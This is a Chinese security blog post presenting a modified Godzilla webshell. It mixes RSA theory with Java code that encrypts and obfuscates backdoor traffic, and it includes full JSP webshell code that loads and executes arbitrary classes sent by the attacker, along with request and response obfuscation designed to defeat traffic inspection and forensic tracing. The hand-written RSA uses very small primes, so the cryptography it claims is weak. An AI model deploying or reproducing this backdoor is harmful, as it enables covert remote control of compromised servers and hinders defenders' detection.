Godzilla哥斯拉修改版(下) 修改篇 – 作者:weilaizhian-安全小百科

0x02 修改版思路分享

优化特点

1、增加RSA原理的加密方式
2、使用数学公式手动实现RSA机制，减少依赖避免环境限制
3、RSA结合AES动态密钥传输流量全加密，捕获全量数据包+捕获样本+获得客户端代码也无法解密还原，增加被攻击方检测发现阶段和溯源分析阶段的难度和成本
5、请求数据随机生成参数名，随机长度拆分参数值
6、响应内容随机伪造html标签，插入干扰字符
7、payload存储在application中减少重复上传

思路梳理

后门连接为什么要有密码？

密码作为一种认证方式为了控制使用范围，只有自己能够利用，对于程序来说，通过识别是否掌握某段秘密数据来区分身份

哥斯拉为什么将密钥内置进shell中？

此前冰蝎采用固定密码作为认证手段，后门生成动态密钥返回给客户端，再使用AES加密流量，缺点在于中间流量虽然被加密，但是密钥在连接阶段以明文的形式暴露在流量中，具有明显特征，安全设备已经可以在识别到冰蝎后，精准提取密钥解密后续流量。而内置到文件中，省去中间明文传递数据的环节，纯流量设备无法解密

固定密钥有什么弊端？

从流量角度看，相同的请求数据用同一个AES密钥加密后的密文相同（无iv），字符内容范围有限，长度有规律。终端分析角度看，密钥这一段数据无处躲藏，写死在后门文件中，流量设备联动EDR或人工方式仍然能解密获得详细的后门利用操作

后门与正常页面区别在哪？

访问行为上，源IP较少，来源单一，与历史记录相比，属于新增URL，数据传输上，请求参数较为固定，内容不可读，响应页面DOM结构与正常页面差异较大

为什么大多后门需要设置参数名？

请求本质是交换数据，确定参数名称可以精确又方便的传递或获取带有特定含义的数据，参数名可以看作数据在http数据结构中的坐标，参数名解决的是数据交换过程的约定途径，不影响数据本身，只要双方传递与获取途径约定一致，参数名的形式可以转换为其他形式

优化方案

1、使用rsa方式加密，使用两个密钥完成加解密，只获得一个公钥无法解密
2、rsa加密长度有限，参考网易云web登录方案，动态生成AES密钥，首次用rsa交换aes密钥，后续切换到aes
3、请求参数随机化，请求内容转为hex值，分散到多个随机参数中，中间插入干扰字符
4、响应内容随机化，插入干扰字符，随机加入html标签

实现代码

rsa原理

加密和解密可以使用不同的规则，只要这两种规则之间存在某种对应关系即可，这样就避免了直接传递密钥。这种新的加密模式被称为 “非对称加密算法”。

（1）乙方生成两把密钥（公钥和私钥）。公钥是公开的，任何人都可以获得，私钥则是保密的。
（2）甲方获取乙方的公钥，然后用它对信息加密。
（3）乙方得到加密后的信息，用私钥解密。如果公钥加密的信息只有私钥解得开，那么只要私钥不泄漏，通信就是安全的。

概念

互质

如果两个正整数，除了1以外，没有其他公因子，我们就称这两个数是互质关系（coprime）。比如61与53

欧拉函数

对正整数n，欧拉函数是小于或等于n的正整数中与n互质的数的数目。比如φ(8)=4，1到8中间有1,3,5,7四个数字与8互质

如果n是质数，则 φ(n)=n-1 。因为质数与小于它的每一个数，都构成互质关系。比如 5 与 1、2、3、4 都构成互质关系。

如果n可以分解成两个质数的整数之积，则能快速求值：

欧拉定理
x的φ(n)次方的值，模n的余数一定为1

模反元素
如果两个正整数a和n互质，那么一定可以找到整数 b，使得 ab被n除的余数是 1

数学公式

相关文章：
https://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html
https://www.ruanyifeng.com/blog/2013/07/rsa_algorithm_part_two.html
https://livebook.manning.com/book/real-world-cryptography

0x03 核心代码实现

加密与混淆代码

根据上面数学公式编码成相关java方法

工具方法

private static final SecureRandom random = new SecureRandom();
private static final String aesMode = "AES/CFB/NoPadding";
static {
    random.setSeed(new Date().getTime());
}

/**
 * hex解码为byte
 *
 * @param data
 * @return
 */
public static byte[] hex2b(String data) {
    byte[] byteArray = new BigInteger(data, 36)
            .toByteArray();
    if (byteArray[0] == 0) {
        byte[] output = new byte[byteArray.length - 1];
        System.arraycopy(
                byteArray, 1, output,
                0, output.length);
        return output;
    }
    return byteArray;
}

/**
 * byte编码为hex
 *
 * @param data
 * @return
 */
public static String b2hex(byte[] data){
    return new BigInteger(1, data).toString(36).toLowerCase();
}

/**
 * 字节转为字符串
 *
 * @param data
 * @return
 */
public static String b2s(byte[] data) {
    try {
        return new String(data, "utf-8");
    } catch (Exception e) {
        return "";
    }
}

/**
 * 字符串转为字节
 *
 * @param data
 * @return
 */
public static byte[] s2b(String data) {
    try {
        return data.getBytes("utf-8");
    } catch (Exception e) {
        return new byte[]{};
    }
}

手动实现RSA算法

private static final SecureRandom random = new SecureRandom();
private static final BigInteger e = BigInteger.valueOf(65537);

static {
    random.setSeed(new Date().getTime());
}

// 获取一个质数
public static BigInteger getPrime(int bitLength) {
    BigInteger p;
    while (!(p = BigInteger.probablePrime(bitLength, random)).isProbablePrime(100)) {
        continue;
    }
    return p;
}

// 生成rsa三个参数
public static BigInteger[] genRsaKey() {
    BigInteger p, q, n, φ, d, e = BigInteger.valueOf(65537);
    p = getPrime(80);
    q = getPrime(84);
    n = p.multiply(q);
    φ = p.subtract(BigInteger.ONE).multiply(q.subtract(BigInteger.ONE));
    d = extGcd(e, φ)[0];
    BigInteger[] result = new BigInteger[]{n, e, d};
    if (d.compareTo(BigInteger.ONE) < 0 || !p.gcd(q).equals(BigInteger.ONE)) {
        return genRsaKey();
    }
    return result;
}

// rsa加密
public static byte[] rsaEncrype(byte[] m, BigInteger n, BigInteger e) {
    if (e == null) {
        e = BigInteger.valueOf(65537);
    }
    return new BigInteger(m).modPow(e, n).toByteArray();
}

// rsa解密
public static byte[] rsaDecrype(byte[] c, BigInteger n, BigInteger d) {
    return new BigInteger(c).modPow(d, n).toByteArray();
}

// 扩展欧几里得算法，求私钥d
  public static BigInteger[] extGcd(BigInteger a, BigInteger b) {
      BigInteger[] result = null;
      if (b.equals(BigInteger.ZERO)) {
          result = new BigInteger[]{BigInteger.ONE, BigInteger.ZERO};
          return result;
      }
      result = extGcd(b, a.mod(b));
      BigInteger x = result[1];
      BigInteger y = result[0].subtract(a.divide(b).multiply(x));
      result = new BigInteger[]{x, y};
      return result;
  }

AES算法

private static final String aesMode = "AES/CFB/NoPadding"; // 密文长度与原文一样，处理起来方便一些。

/**
 * aes加密
 *
 * @param s
 * @param k
 * @return
 */
public static byte[] aesEncrypt(byte[] s, String k) {
    try {
        Cipher c = Cipher.getInstance(aesMode);
        // 密钥为 xc
        c.init(1, new SecretKeySpec(k.getBytes(), "AES"), new IvParameterSpec(k.getBytes()));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }
}

/**
 * aes解密
 *
 * @param s
 * @param k
 * @return
 */
public static byte[] aesDecrypt(byte[] s, String k) {
    try {
        Cipher c = Cipher.getInstance(aesMode);
        // 密钥为 xc
        c.init(2, new SecretKeySpec(k.getBytes(), "AES"), new IvParameterSpec(k.getBytes()));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }
}

随机字符

/**
 * 获取随机或定长字符
 *
 * @param len 0为随机，其他为定长
 * @return
 */
public static String randLetter(int len) {
    if (len == 0) {
        len = random.nextInt(5) + 1;
    }
    StringBuilder s = new StringBuilder();
    while (len-- > 0) {
        s.append((char) (0x61 + (int) (Math.random() * (0x7a - 0x61 + 1))));
    }
    return s.toString();
}

/**
 * 随机生成中文字符
 *
 * @param len 最多
 * @return
 */
public static String randomChar(int len) {
    StringBuilder s = new StringBuilder();
    len = random.nextInt(len) + 1;
    for (int i = 0; i < len; i++) {
        s.append((char) (0x4e00 + (int) (Math.random() * (0x9fa5 - 0x4e00))));
    }
    return b2s(s.toString().getBytes());
}

/**
 * 随机插入中文
 *
 * @param data
 * @return
 */
public static String insertRandomChar(String data) {
    StringBuilder s = new StringBuilder();
    try {
        for (int i = 0; i < data.length(); i++) {
            char ch = data.charAt(i);
            s.append(ch);
            if (random.nextInt() % 11 == 0) {
                s.append(randomChar(1));
            } else if (random.nextInt() % 11 == 0) {
                s.append(randLetter(1).toUpperCase());
            }
        }
    } catch (Exception e) {
        System.out.println(e.getMessage());
    }
    return s.toString();
}

混淆客户端请求数据算法

/**
 * 混淆请求，将字符串随机插入中文和大写字母，转换为随机的url参数
 * abcd -> huqw=ab&fuq3=c&jb9r=d
 *
 * @param data
 * @return
 */
public static String obf_req(String data) {
    data = insertRandomChar(data);
    ArrayList<String> params = new ArrayList<String>();
    int left = data.length();
    int now = 0;
    while (left!=0) {
        int len = random.nextInt(30) + 10;
        len = len > left ? left : len;
        String value = data.substring(now, now + len);
        String key = randLetter(0);
        params.add(key + "=" + value);
        left-=len;
        now +=len;
    }
    return String.join("&", params);
}

混淆后门页面响应算法

/**
 * 混淆响应，将字符串随机插入中文和大写字母，插入随机的html标签
 * abcd -> 啊aB<huwf>bQWEQWE啊c</jfwe>d
 *
 * @param data
 * @return
 */
public static String obf_rsp(String data) {
    data = insertRandomChar(data);
    StringBuilder s = new StringBuilder();
    int transLen = 0;
    while (transLen < data.length()) {
        // 平均每段长度控制在 5～30个字符
        int len = random.nextInt(25) + 5;
        int left = data.length() - transLen;
        len = len > left ? left : len;
        String value = data.substring(transLen, transLen + len);
        String tag = randLetter(0).replaceAll("[^a-z]", "");
        if (random.nextInt() % 2 == 0) {
            s.append("<" + tag + ">");
        }
        s.append(value);
        if (random.nextInt() % 2 == 0) {
            s.append("</" + tag + ">\n");
        }
        transLen += len;
    }
    return s.toString();
}

混淆还原算法

// 提取post内容的值
public static String getPostValue(ServletRequest request) {
    java.io.BufferedReader reader = null;
    StringBuilder s = new StringBuilder();
    try {
        reader = new java.io.BufferedReader(new java.io.InputStreamReader(request.getInputStream(), "utf-8"));
        String line = null;
        while ((line = reader.readLine()) != null) {
            s.append(line);
        }
        reader.close();
        String[] params = s.toString().split("&");
        s = new StringBuilder();
        for (String kv : params) {
            s.append(kv.split("=")[1]);
        }
    } catch (Exception e) {
    }
    return s.toString();
}

/**
 * 净化混淆过的数据，去掉标签中文等字符，保留小写字母和数字
 *
 * @param rsp
 * @return
 */
public static String purify(String data){
    return data.replaceAll("(</?[^>]*?>|[\\W]|[A-Z])", "");
}

webshell代码

RSA rawGlobalCode

static java.security.SecureRandom random = new java.security.SecureRandom();
public static BigInteger n = new BigInteger("{pass}", 36);
public static BigInteger e = BigInteger.valueOf(65537);

// 通过字节动态加载class
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }

    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}


// AES加解密方法，参数m为true加密，false解密
public byte[] x(byte[] s, String k, boolean m) {
    try {
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES/CFB/NoPadding");
        // 密钥为 xc
        c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(k.getBytes(), "AES"), new javax.crypto.spec.IvParameterSpec(k.getBytes()));
        return c.doFinal(s);
    } catch (Exception e) {
        return new byte[]{};
    }
}

public static byte[] hex2b(String data) {
    byte[] byteArray = new BigInteger(data, 36).toByteArray();
    if (byteArray[0] == 0) {
        byte[] output = new byte[byteArray.length - 1];
        System.arraycopy(byteArray, 1, output, 0, output.length);
        return output;
    }
    return byteArray;
}

public static String b2hex(byte[] data) {
    return new BigInteger(1, data).toString(36).toLowerCase();
}

public static String b2s(byte[] data) {
    try {
        return new String(data, "utf-8");
    } catch (Exception e) {
        return "";
    }
}

public static byte[] s2b(String data) {
    try {
        return data.getBytes("utf-8");
    } catch (Exception e) {
        return new byte[]{};
    }
}

public static String randLetter(int len) {
    if (len == 0) {
        len = random.nextInt(8) + 1;
    }
    StringBuilder s = new StringBuilder();
    while (len-- > 0) {
        s.append((char) (0x61 + (int) (Math.random() * (0x7a - 0x61 + 1))));
    }
    return s.toString();
}

public static String randomChar(int len) {
    StringBuilder s = new StringBuilder();
    try {
        len = random.nextInt(len);
        for (int i = 0; i < len; i++) {
            s.append((char) (0x4e00 + (int) (Math.random() * (0x9fa5 - 0x4e00 + 1))));
        }
    } catch (Exception e) {
    }
    return s.toString();
}

public static String insertRandomChar(String data) {
    StringBuilder s = new StringBuilder();
    try {
        for (int i = 0; i < data.length(); i++) {
            char ch = data.charAt(i);
            s.append(ch);
            if (random.nextInt() % 6 == 0) {
                s.append(randomChar(2));
            } else if (random.nextInt() % 6 == 0) {
                s.append(randLetter(0).toUpperCase());
            }
        }
    } catch (Exception e) {
    }
    return s.toString();
}


public static String obf_rsp(String data) {
    data = insertRandomChar(data);
    StringBuilder s = new StringBuilder();
    int transLen = 0;
    while (transLen < data.length()) {
        // 平均每段长度控制在 5～30个字符
        int len = random.nextInt(25) + 5;
        int left = data.length() - transLen;
        len = len > left ? left : len;
        String value = data.substring(transLen, transLen + len);
        String tag = randLetter(0).replaceAll("[^a-z]", "");
        if (random.nextInt() % 2 == 0) {
            s.append("<" + tag + ">");
        }
        s.append(value);
        if (random.nextInt() % 2 == 0) {
            s.append("</" + tag + ">\n");
        }
        transLen += len;
    }
    return s.toString();
}


public static String purify_req(String s) {
    return s.replaceAll("(<[^>]*?>|[\\W]|[A-Z])+", "");
}

public static byte[] rsaEncrypt(byte[] m, BigInteger n, BigInteger e) {
    if (e == null) {
        e = BigInteger.valueOf(65537);
    }
    return new BigInteger(m).modPow(e, n).toByteArray();
}

public static byte[] rsaDecrypt(byte[] c, BigInteger n, BigInteger d) {
    return new BigInteger(c).modPow(d, n).toByteArray();
}

public static String getPostValue(ServletRequest request) {
    java.io.BufferedReader reader = null;
    StringBuilder s = new StringBuilder();
    try {
        reader = new java.io.BufferedReader(new java.io.InputStreamReader(request.getInputStream(), "utf-8"));
        String line = null;
        while ((line = reader.readLine()) != null) {
            s.append(line);
        }
        reader.close();
        String[] params = s.toString().split("&");
        s = new StringBuilder();
        for (String kv : params) {
            s.append(kv.split("=")[1]);
        }
    } catch (Exception e) {
    }
    return s.toString();
}

RSA rawCode.bin

String rsp = null;
try {
    response.setCharacterEncoding("UTF-8");
    random.setSeed(new java.util.Date().getTime());
    String post = getPostValue((ServletRequest) request);
    post = purify_req(post);
    byte[] data = hex2b(post);

    if (session.isNew()) {
        // 首次访问，不做处理，返回随机内容
    } else if (session.getAttribute("k") == null) {
        // 第二次访问，生成aes密钥
        String key = randLetter(15);
        // 第一个字符标记是否需要传一次payload
        key = (application.getAttribute("p") == null ? "0" : "1") + key;
        session.setAttribute("k", key);
        String str = b2s(rsaDecrypt(data, n, e));
        if (session.getId().substring(0, 16).equals(str)) {
            // 通过认证，返回aes key

            rsp = b2hex(rsaEncrypt(key.getBytes(), n, e));
            rsp = obf_rsp(rsp);
            out.write(rsp);
        }
    } else {
        // AES 解密
        String key = (String) session.getAttribute("k");
        data = x(data, key, false);
        if (application.getAttribute("p") == null) {
            application.setAttribute("p",
                    new X(pageContext.getClass().getClassLoader()).Q(data));
        } else {
            request.setAttribute("parameters", b2s(data));
            Object f = ((Class) application.getAttribute("p")).newInstance();
            f.equals(pageContext);
            rsp = f.toString();
            rsp = b2hex(x(s2b(rsp), key, true));
            out.write(obf_rsp(rsp));
        }
    }
} catch (Exception e) {
    System.out.println(e.getMessage());
}

if (rsp == null) {
    out.write(obf_rsp(randomChar(128)));
}